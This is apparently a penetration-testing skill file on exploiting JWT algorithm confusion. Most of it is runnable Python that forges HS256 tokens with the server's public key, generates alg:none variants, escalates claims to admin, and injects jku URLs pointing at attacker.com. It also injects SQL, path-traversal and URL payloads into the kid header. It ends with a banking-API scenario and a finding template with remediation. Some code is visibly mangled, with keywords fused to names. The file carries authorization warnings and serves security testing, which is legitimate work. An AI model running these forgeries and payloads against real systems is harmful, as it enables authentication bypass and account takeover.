Exploits JWT algorithm confusion vulnerabilities where the server''s token verification library accepts the algorithm specified in the JWT header rather than enforcing a fixed algorithm. The tester manipulates the alg header to switch from RS256 to HS256 (using the RSA public key as the HMAC secret), sets alg to none to bypass signature verification, or exploits kid/jku/x5u header injection to sup
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Exploits JWT algorithm confusion vulnerabilities where the server''s token verification library accepts the algorithm specified in the JWT header rather than enforcing a fixed algorithm. The tester manipulates the alg header to switch from RS256 to HS256 (using the RSA public key as the HMAC secret), sets alg to none to bypass signature verification, or exploits kid/jku/x5u header injection to sup
source
mukul975/Anthropic-Cybersecurity-Skills
license
Apache-2.0
authorized_lab
true
origin_frontmatter
name: exploiting-jwt-algorithm-confusion-attack | description: 'Exploits JWT algorithm confusion vulnerabilities where the server''s | token verification library accepts the algorithm specified in the JWT header rather | than enforcing a fixed algorithm. The tester manipulates the alg header to switch | from RS256 to HS256 (using the RSA public key as the HMAC secret), sets alg to none | to bypass signature verification, or exploits kid/jku/x5u header injection to supply | attacker-con
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AUTHORIZED-LAB ONLY. Offensive/dual-use capability. Use exclusively against systems you own or have explicit written authorization to test. This skill is gated out of the default discovery path; activation requires an explicit authorized-engagement flag.
Exploiting JWT Algorithm Confusion Attack
When to Use
Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256
Assessing JWT implementations for alg:none bypass where the server skips signature verification
Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret
Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection
Validating that the API server enforces a specific algorithm and does not trust the JWT header
Do not use without written authorization. JWT exploitation can lead to authentication bypass and account takeover.
Prerequisites
Written authorization specifying the target API and JWT-based authentication in scope
A valid JWT token from the target API (obtained through legitimate authentication)
The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)
Python 3.10+ with PyJWT, cryptography, and requests libraries
jwt_tool for automated JWT attack testing
Burp Suite with JWT Editor extension
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate
# Method 1: JWKS endpoint
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
jwks = jwks_resp.json()
print(f"JWKS keys found: {len(jwks.get('keys', []))}")
for key in jwks['keys']:
print(f" kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")
# Extract RSA public key from JWKSfrom cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
from cryptography.hazmat.backends import default_backend
rsa_key = jwks['keys'][0] # First key
n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
public_key = RSAPublicNumbers(e, n).public_key(default_backend())
public_key_pem = public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo
)
print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")
# Method 2: From well-known OpenID configuration
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
jwks_uri = oidc_resp.json().get('jwks_uri')
print(f"JWKS URI from OIDC config: {jwks_uri}")
# Method 3: Exposed at common pathsfor path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
resp = requests.get(f"{BASE_URL}{path}")
if resp.status_code == 200and ("BEGIN"in resp.text or"keys"in resp.text):
print(f"Public key found at: {path}")
Step 3: Algorithm Confusion Attack (RS256 to HS256)
defforge_hs256_with_public_key(token, public_key_pem, modifications=None):
"""
Algorithm confusion: Sign token with HS256 using the RSA public key as secret.
If the server uses a generic verify() that trusts the alg header, it will use
the public key as the HMAC secret, matching our signature.
"""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
# Modify payload if requestedif modifications:
payload.update(modifications)
# Create header with HS256
new_header = {"alg": "HS256", "typ": "JWT"}
# Encode header and payload
header_b64 = base64.urlsafe_b64encode(
json.dumps(new_header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# Sign with HMAC-SHA256 using the RSA public key as the secret
signing_input = f"{header_b64}.{payload_b64}".encode()
# Use the raw PEM bytes as the HMAC keyifisinstance(public_key_pem, str):
public_key_pem = public_key_pem.encode()
signature = hmac.new(public_key_pem, signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
returnf"{header_b64}.{payload_b64}.{sig_b64}"# Attack 1: Algorithm confusion with same claims
confused_token = forge_hs256_with_public_key(valid_token, public_key_pem)
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {confused_token}"})
print(f"Algorithm confusion (same claims): {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Algorithm confusion attack successful - RS256 to HS256")
# Attack 2: Algorithm confusion with elevated privileges
admin_token = forge_hs256_with_public_key(valid_token, public_key_pem,
modifications={"role": "admin", "sub": "admin@example.com"})
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {admin_token}"})
print(f"Algorithm confusion (admin): {resp.status_code}")
if resp.status_code == 200:
print("[CRITICAL] Admin access via algorithm confusion + claim manipulation")
# Attack 3: Try different public key formats
key_formats = [
public_key_pem, # Full PEM
public_key_pem.strip(), # Stripped whitespace
public_key_pem.replace(b'\n', b''), # No newlines
public_key_pem.decode().split('\n')[1:-1], # Base64 only
]
for i, key_format inenumerate(key_formats):
ifisinstance(key_format, list):
key_format = ''.join(key_format).encode()
elifisinstance(key_format, str):
key_format = key_format.encode()
token = forge_hs256_with_public_key(valid_token, key_format)
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print(f"[CRITICAL] Key format {i} worked for algorithm confusion")
Step 4: Algorithm None Attack
defforge_none_algorithm(token, modifications=None):
"""Create tokens with alg:none variations to bypass signature verification."""
parts = token.split('.')
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
if modifications:
payload.update(modifications)
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# Different "none" algorithm variations
none_variants = [
{"alg": "none", "typ": "JWT"},
{"alg": "None", "typ": "JWT"},
{"alg": "NONE", "typ": "JWT"},
{"alg": "nOnE", "typ": "JWT"},
{"typ": "JWT"}, # Missing alg entirely
]
tokens = []
for variant_header in none_variants:
header_b64 = base64.urlsafe_b64encode(
json.dumps(variant_header).encode()).decode().rstrip('=')
# Different signature options
sig_options = [
"", # Empty signature".", # Just a dot
parts[2], # Original signature
base64.urlsafe_b64encode(b'\x00').decode().rstrip('='), # Null byte
]
for sig in sig_options:
tokens.append(f"{header_b64}.{payload_b64}.{sig}")
return tokens
# Test all none algorithm variations
none_tokens = forge_none_algorithm(valid_token)
for i, token inenumerate(none_tokens):
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
header = json.loads(base64.urlsafe_b64decode(token.split('.')[0] + '=='))
print(f"[CRITICAL] alg:none bypass #{i}: header={header}, sig_len={len(token.split('.')[2])}")
# Test with privilege escalation
admin_none_tokens = forge_none_algorithm(valid_token,
modifications={"role": "admin", "is_admin": True})
for token in admin_none_tokens:
resp = requests.get(f"{BASE_URL}/admin/users",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print("[CRITICAL] Admin access via alg:none bypass")
break
Step 5: JKU and KID Header Injection
import os
# Attack: JKU (JWK Set URL) injection# Host attacker-controlled JWKS that contains our key pairdefgenerate_attacker_jwks():
"""Generate an RSA key pair and JWKS for the attacker's server."""from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
# Generate attacker key pair
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048,
backend=default_backend()
)
public_key = private_key.public_key()
public_numbers = public_key.public_numbers()
n_b64 = base64.urlsafe_b64encode(
public_numbers.n.to_bytes(256, 'big')).decode().rstrip('=')
e_b64 = base64.urlsafe_b64encode(
public_numbers.e.to_bytes(3, 'big')).decode().rstrip('=')
jwks = {
"keys": [{
"kty": "RSA",
"kid": "attacker-key-1",
"use": "sig",
"alg": "RS256",
"n": n_b64,
"e": e_b64
}]
}
return private_key, jwks
attacker_private_key, attacker_jwks = generate_attacker_jwks()
# Create JWT with JKU pointing to attacker serverdefforge_jku_token(payload_modifications, jku_url):
"""Create a JWT signed with attacker key, JKU pointing to attacker JWKS."""
payload = json.loads(base64.urlsafe_b64decode(valid_token.split('.')[1] + '=='))
payload.update(payload_modifications)
header = {
"alg": "RS256",
"typ": "JWT",
"kid": "attacker-key-1",
"jku": jku_url # Points to attacker-hosted JWKS
}
header_b64 = base64.urlsafe_b64encode(
json.dumps(header).encode()).decode().rstrip('=')
payload_b64 = base64.urlsafe_b64encode(
json.dumps(payload).encode()).decode().rstrip('=')
# Sign with attacker's private keyfrom cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import padding
signing_input = f"{header_b64}.{payload_b64}".encode()
signature = attacker_private_key.sign(
signing_input,
padding.PKCS1v15(),
hashes.SHA256()
)
sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip('=')
returnf"{header_b64}.{payload_b64}.{sig_b64}"# Test JKU injection with various URLs
jku_urls = [
"https://attacker.com/.well-known/jwks.json",
"https://attacker.com/jwks",
# Bypass URL filtersf"{BASE_URL}@attacker.com/jwks",
f"{BASE_URL}/.well-known/jwks.json#@attacker.com",
]
for jku in jku_urls:
token = forge_jku_token({"role": "admin"}, jku)
# Note: This test requires hosting the attacker JWKS at the specified URLprint(f" JKU injection payload generated for: {jku}")
# KID injection (SQL injection in kid parameter)
kid_injection_payloads = [
"../../../../../../dev/null", # Path traversal to empty file"../../../../../../proc/sys/kernel/hostname",
"' UNION SELECT 'secret-key' -- ", # SQL injection in kid lookup"' OR '1'='1",
"../../../etc/passwd",
"https://attacker.com/key.pem", # URL-based kid
]
for kid in kid_injection_payloads:
modified_header = {"alg": "HS256", "typ": "JWT", "kid": kid}
header_b64 = base64.urlsafe_b64encode(
json.dumps(modified_header).encode()).decode().rstrip('=')
payload_b64 = valid_token.split('.')[1]
# Sign with the expected key material from the injection
signing_input = f"{header_b64}.{payload_b64}".encode()
# For path traversal to /dev/null, the key would be empty
sig = hmac.new(b"", signing_input, hashlib.sha256).digest()
sig_b64 = base64.urlsafe_b64encode(sig).decode().rstrip('=')
token = f"{header_b64}.{payload_b64}.{sig_b64}"
resp = requests.get(f"{BASE_URL}/users/me",
headers={"Authorization": f"Bearer {token}"})
if resp.status_code == 200:
print(f"[CRITICAL] KID injection successful: {kid}")
Key Concepts
Term
Definition
Algorithm Confusion
Attack where the server trusts the alg header in the JWT, allowing an attacker to switch from RS256 to HS256 and sign with the public key as the HMAC secret
alg:none Attack
Setting the JWT algorithm to "none" to bypass signature verification entirely, if the library does not enforce algorithm selection
JKU Injection
Manipulating the jku (JWK Set URL) header to point to an attacker-controlled JWKS endpoint, allowing the attacker to supply their own signing keys
KID Injection
Injecting SQL, path traversal, or URL payloads into the kid (Key ID) header parameter to manipulate key selection or read arbitrary files
Key Confusion
Using the RSA public key as the HMAC secret when the server incorrectly switches from asymmetric to symmetric verification
JWKS (JSON Web Key Set)
A JSON structure containing the public keys used by the server to verify JWT signatures, typically hosted at a well-known endpoint
Tools & Systems
jwt_tool: Python-based JWT testing toolkit with 12+ attack modes including alg confusion, none bypass, and kid injection
Burp Suite JWT Editor: Extension for decoding, editing, and re-signing JWTs with algorithm manipulation capabilities
hashcat (mode 16500): GPU-accelerated HMAC secret brute-forcing for HS256/HS384/HS512-signed JWTs
John the Ripper: CPU-based JWT secret cracking with wordlist and rule-based attacks
jwt.io: Online JWT decoder and debugger for quick token analysis
Common Scenarios
Scenario: Algorithm Confusion on Banking API
Context: A banking API uses RS256-signed JWTs for authentication. The JWKS endpoint is publicly accessible. The API handles financial transactions requiring high assurance authentication.
Approach:
Obtain a valid JWT by authenticating as a regular user
Extract the RSA public key from the JWKS endpoint at /.well-known/jwks.json
Create a new JWT with "alg": "HS256" header and sign it using the RSA public key as the HMAC secret
Send the forged token to GET /api/v1/users/me - server accepts it (algorithm confusion confirmed)
Modify the payload to set "role": "admin" and "sub": "admin@bank.com" - sign with the public key
Access admin endpoints: GET /api/v1/admin/transactions returns all transaction history
Test alg:none: rejected by the server (partial mitigation)
Test kid injection with SQL payload: kid parameter is used in a SQL query to look up keys, enabling SQL injection
Pitfalls:
Using the wrong format of the public key as the HMAC secret (PEM with/without headers, DER, raw bytes)
Not trying multiple public key formats when the first one does not produce a valid signature
Assuming the alg:none defense means algorithm confusion is also mitigated
Not testing kid injection vectors when the kid parameter is present in the JWT header
Missing JKU/x5u header injection when the server fetches keys from URLs
Output Format
## Finding: JWT Algorithm Confusion Enables Authentication Bypass
**ID**: API-JWT-001
**Severity**: Critical (CVSS 9.8)
**CVE Reference**: CVE-2024-54150 (related pattern)
**Affected Component**: JWT authentication middleware
**Description**:
The API's JWT verification library trusts the algorithm specified in
the JWT header rather than enforcing a fixed algorithm. An attacker can
change the algorithm from RS256 to HS256 and sign the token using the
server's RSA public key (available from the JWKS endpoint) as the HMAC
secret. The server then uses the same public key to verify the HMAC
signature, which succeeds, allowing the attacker to forge tokens for
any user with any role.
**Attack Chain**:
1. Obtain public key: GET /.well-known/jwks.json
2. Create JWT: {"alg":"HS256","typ":"JWT"}.{"sub":"admin","role":"admin"}
3. Sign with HMAC-SHA256 using RSA public key PEM as secret
4. Access admin API: GET /api/v1/admin/transactions -> 200 OK
**Impact**:
Complete authentication bypass. An attacker can forge tokens for any
user including administrators, accessing all financial transactions,
user data, and administrative functions.
**Remediation**:
1. Enforce the expected algorithm at the server configuration level: jwt.verify(token, key, algorithms=["RS256"])
2. Never trust the alg header from the JWT for algorithm selection
3. Update the JWT library to the latest version with algorithm confusion protections
4. Consider using EdDSA (Ed25519) which does not have symmetric/asymmetric confusion risk
5. Implement token binding to prevent forged token acceptance
